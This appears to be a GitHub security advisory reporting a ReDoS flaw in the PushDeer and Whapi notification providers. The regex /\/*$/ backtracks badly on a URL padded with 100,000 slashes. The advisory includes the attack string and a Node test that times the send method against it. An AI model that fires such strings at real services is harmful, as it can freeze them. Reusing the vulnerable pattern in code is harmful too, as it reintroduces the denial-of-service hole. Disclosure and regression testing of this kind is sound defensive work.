Summary
There is a ReDoS vulnerability risk in the system, specifically when administrators create notification through the web service(pushdeer and whapi). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.
Details
The regular expression \/*$\ is used to match zero or more slashes / at the end of a URL. When a malicious attack string appends a large number of slashes / and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.
.replace(/\/*$/, "")
For the regular expression /\/*$/, an attack string like
"https://e" + "/".repeat(100000) + "@"
can trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.
When entered from the web interface, the attack string needs to expand "/".repeat(100000) and be input directly, such as https://e/////////..//@. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.
PoC
The poc.js is in:
https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0
The time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:
const semver = require("semver");
let test;
const nodeVersion = process.versions.node;
if (semver.satisfies(nodeVersion, ">= 18")) {
test = require("node:test");
} else {
test = require("test");
}
const PushDeer = require("../../server/notification-providers/pushdeer.js");
const assert = require("node:assert");
test("Test ReDos - attack string", async (t) => {
const pushDeer = new PushDeer();
const notification = {
pushdeerServer: "https://e" + "/".repeat(100000) + "@",
};
const msg = "Test Attacking";
const startTime = performance.now();
try {
pushDeer.send(notification, msg)
} catch (error) {
// pass
}
const endTime = performance.now();
const elapsedTime = endTime - startTime;
const reDosThreshold = 2000;
assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);
});
<img width="1280" alt="1" src="https://github.com/user-attachments/assets/61945200-4397-4933-9170-2a5517613408" />
<img width="1280" alt="webserver" src="https://github.com/user-attachments/assets/c0d7e952-0ec1-4c54-ba31-8b7144c04669" />